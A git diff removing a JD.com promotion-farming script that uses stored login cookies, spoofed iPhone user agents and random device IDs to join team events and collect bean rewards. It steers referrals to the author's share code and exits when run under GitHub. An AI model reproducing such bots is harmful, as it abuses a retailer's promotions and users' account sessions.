this.isQuanX() ? { - "open-url": t - } : this.isSurge() ? { - url: t - } : void 0; - if ("object" == typeof t) { - if (this.isLoon()) { - let e = t.openUrl || t.url || t["open-url"], - s = t.mediaUrl || t["media-url"]; - return { - openUrl: e, - mediaUrl: s - } - } - if (this.isQuanX()) { - let e = t["open-url"] || t.url || t.openUrl, - s = t["media-url"] || t.mediaUrl; - return { - "open-url": e, - "media-url": s - } - } - if (this.isSurge()) { - let e = t.url || t.openUrl || t["open-url"]; - return { - url: e - } - } - } - }; - if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { - let t = ["", "==============📣系统通知📣=============="]; - t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) - } - } - log(...t) { - t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) - } - logErr(t, e) { - const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); - s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) - } - wait(t) { - return new Promise(e => setTimeout(e, t)) - } - done(t = {}) { - const e = (new Date).getTime(), - s = (e - this.startTime) / 1e3; - this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) - } - }(t, e) -} diff --git a/backUp/jd_anjia.js b/backUp/jd_anjia.js deleted file mode 100644 index 37f38d4..0000000 --- a/backUp/jd_anjia.js +++ /dev/null @@ -1,517 +0,0 @@ -/* -欢迎关注 -https://t.me/aaron_scriptsG -https://t.me/jdscrip -*/ -const $ = new Env("安佳"); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -let cookiesArr = [], cookie = '', message = ''; -let ownCode = null; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; -} else { - let cookiesData = $.getdata('CookiesJD') || "[]"; - cookiesData = JSON.parse(cookiesData); - cookiesArr = cookiesData.map(item => item.cookie); - cookiesArr.reverse(); - cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); - cookiesArr.reverse(); - cookiesArr = cookiesArr.filter(item => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i] - originCookie = cookiesArr[i] - newCookie = '' - $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - await checkCookie(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - authorCodeList = [ - '9494874400db48eb8669b03db3b8fca4', - ] - $.bean = 0; - $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); - $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); - // $.authorCode = authorCodeList[random(0, authorCodeList.length)] - $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] - $.authorNum = `${random(1000000, 9999999)}` - $.activityId = 'f58043aea7184f6a8df07237e3271fc6' - $.activityShopId = '1000014486' - $.activityUrl = `https://lzkjdz-isv.isvjcloud.com/pool/captain/${$.authorNum}?activityId=${$.activityId}&signUuid=${encodeURIComponent($.authorCode)}&adsource=null&shareuserid4minipg=null&shopid=${$.activityShopId}&lng=00.000000&lat=00.000000&sid=&un_area=` - await anjia(); - await $.wait(4000) - if ($.bean > 0) { - message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` - } - } - } - if (message !== '') { - if ($.isNode()) { - await notify.sendNotify($.name, message, '', `\n`); - } else { - $.msg($.name, '有点儿收获', message); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - - -async function anjia() { - $.token = null; - $.secretPin = null; - $.openCardActivityId = null - await getFirstLZCK() - await getToken(); - await task('customer/getSimpleActInfoVo', `activityId=${$.activityId}`, 1) - await $.wait(2000) - if ($.token) { - await getMyPing(); - if ($.secretPin) { - console.log('去助力 -> ' + $.authorCode); - await task('common/accessLogWithAD', `venderId=${$.activityShopId}&code=99&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=null`, 1); - await $.wait(2000) - await task('activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&signUuid=${encodeURIComponent($.authorCode)}`) - if ($.activityContent) { - if ($.activityContent.canJoin) { - $.log("加入队伍成功,请等待队长瓜分京豆") - await $.wait(2000) - await task('saveCandidate', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&signUuid=${encodeURIComponent($.authorCode)}&pinImg=${encodeURIComponent(`https://img10.360buyimg.com/imgzone/jfs/t1/21383/2/6633/3879/5c5138d8E0967ccf2/91da57c5e2166005.jpg`)}`) - $.log("加入会员") - if (!$.activityContent.openCard) { - $.log("加入会员") - await $.wait(2000) - await getShopOpenCardInfo({ "venderId": "1000014486", "channel": 401 }, 1000014486) - await bindWithVender({ "venderId": "1000014486", "shopId": "1000014486", "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": 3282318, "channel": 401 }, 100000000000085) - } - await $.wait(2000) - await task('activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&signUuid=${encodeURIComponent($.authorCode)}`, 0, 1) - await $.wait(2000) - if ($.index === 1) { - if ($.activityContent.canCreate) { - $.log("创建队伍") - await $.wait(2000) - await task('saveCaptain', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=${encodeURIComponent(`https://img10.360buyimg.com/imgzone/jfs/t1/21383/2/6633/3879/5c5138d8E0967ccf2/91da57c5e2166005.jpg`)}`) - } - } - } else { - if ($.index === 1) { - $.log("创建队伍") - if ($.activityContent.canCreate) { - await $.wait(2000) - await task('saveCaptain', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=${encodeURIComponent(`https://img10.360buyimg.com/imgzone/jfs/t1/21383/2/6633/3879/5c5138d8E0967ccf2/91da57c5e2166005.jpg`)}`) - } else { - $.log("你已经是队长了") - ownCode = $.activityContent.signUuid - console.log(ownCode) - } - } else { - $.log("无法加入队伍") - } - await $.wait(2000) - } - } - } else { - $.log("没有成功获取到用户信息") - } - } else { - $.log("没有成功获取到用户鉴权信息") - } -} - -function task(function_id, body, isCommon = 0) { - return new Promise(resolve => { - $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - - if (data) { - data = JSON.parse(data); - if (data.result) { - switch (function_id) { - case 'saveCaptain': - if (data.data.signUuid) { - $.log("创建队伍成功") - if($.index === 1){ - ownCode = data.data.signUuid; - } - } - break; - case 'dz/common/getSimpleActInfoVo': - $.jdActivityId = data.data.jdActivityId; - $.venderId = data.data.venderId; - break; - case 'wxActionCommon/getUserInfo': - $.nickname = data.data.nickname - $.pinImg = 'https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png' - break; - case 'activityContent': - // console.log(data.data) - $.activityContent = data.data; - if($.index === 1){ - ownCode = data.data.signUuid; - } - // $.actorUuid = data.data.signUuid; - for (const vo of data.data.successRetList) { - if (!vo.sendStatus && vo.canSend) { - // console.log(vo) - await task('updateCaptain', `uuid=${vo.memberList[0].captainId}`) - await $.wait(3000) - } - } - break; - case 'updateCaptain': - console.log(data.data) - - break - default: - // $.log(JSON.stringify(data)) - break; - } - } else { - $.log(JSON.stringify(data)) - } - } else { - $.log("京东没有返回数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - }) - }) -} -function getShopOpenCardInfo(body, venderId) { - let opt = { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - Host: 'api.m.jd.com', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - 'Accept-Language': 'zh-cn', - Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=7014&returnUrl=${encodeURIComponent($.activityUrl)}`, - 'Accept-Encoding': 'gzip, deflate, br' - } - } - return new Promise(resolve => { - $.get(opt, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - res = JSON.parse(data) - if (res.success) { - if (res.result.interestsRuleList) { - $.openCardActivityId = res.result.interestsRuleList[0].interestsInfo.activityId; - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - - }) -} -function bindWithVender(body, venderId) { - let opt = { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - Host: 'api.m.jd.com', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - 'Accept-Language': 'zh-cn', - Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=7014&returnUrl=${encodeURIComponent($.activityUrl)}`, - 'Accept-Encoding': 'gzip, deflate, br' - } - } - return new Promise(resolve => { - $.get(opt, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - res = JSON.parse(data) - if (res.success) { - if (res.result.giftInfo && res.result.giftInfo.giftList) { - for (const vo of res.result.giftInfo.giftList) { - if (vo.prizeType === 4) { - $.log(`==>获得【${vo.quantity}】京豆`) - $.bean += vo.quantity - } - } - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - - }) -} -function taskUrl(function_id, body, isCommon) { - return { - url: isCommon ? `https://lzkjdz-isv.isvjcloud.com/${function_id}` : `https://lzkjdz-isv.isvjcloud.com/pool/${function_id}`, - headers: { - Host: 'lzkjdz-isv.isvjcloud.com', - Accept: 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': 'application/x-www-form-urlencoded', - Origin: 'https://lzkjdz-isv.isvjcloud.comm', - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: 'keep-alive', - Referer: $.activityUrl, - Cookie: cookie - }, - body: body - - } -} - -function getMyPing() { - let opt = { - url: `https://lzkjdz-isv.isvjcloud.com/customer/getMyPing`, - headers: { - Host: 'lzkjdz-isv.isvjcloud.com', - Accept: 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': 'application/x-www-form-urlencoded', - Origin: 'https://lzkjdz-isv.isvjcloud.com', - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: 'keep-alive', - Referer: $.activityUrl, - Cookie: cookie, - }, - body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1` - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (resp['headers']['set-cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (resp['headers']['Set-Cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (data) { - data = JSON.parse(data) - if (data.result) { - $.log(`你好:${data.data.nickname}`) - $.pin = data.data.nickname; - $.secretPin = data.data.secretPin; - cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}` - } else { - $.log(data.errorMessage) - } - } else { - $.log("京东返回了空数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - - }) - }) -} -function getFirstLZCK() { - return new Promise(resolve => { - $.get({ url: $.activityUrl }, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - if (resp['headers']['set-cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (resp['headers']['Set-Cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - }) -} -function getToken() { - let opt = { - url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, - headers: { - Host: 'api.m.jd.com', - 'Content-Type': 'application/x-www-form-urlencoded', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', - 'Accept-Language': 'zh-Hans-CN;q=1', - 'Accept-Encoding': 'gzip, deflate, br', - }, - body: `body=%7B%22url%22%3A%20%22https%3A//lzdz1-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=72124265217d48b7955781024d65bbc4&client=apple&clientVersion=9.4.0&st=1621796702000&sv=120&sign=14f7faa31356c74e9f4289972db4b988` - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.code === "0") { - $.token = data.token - } - } else { - $.log("京东返回了空数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - }) - }) -} -function random(min, max) { - - return Math.floor(Math.random() * (max - min)) + min; - -} -function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { - return format.replace(/[xy]/g, function (c) { - var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); - if (UpperCase) { - uuid = v.toString(36).toUpperCase(); - } else { - uuid = v.toString(36) - } - return uuid; - }); -} -function checkCookie() { - const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - "Host": "me-api.jd.com", - "Accept": "*/*", - "Connection": "keep-alive", - "Cookie": cookie, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br", - } - }; - return new Promise(resolve => { - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.retcode === "1001") { - $.isLogin = false; //cookie过期 - return; - } - if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - $.log('京东返回了空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} -// prettier-ignore -!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), 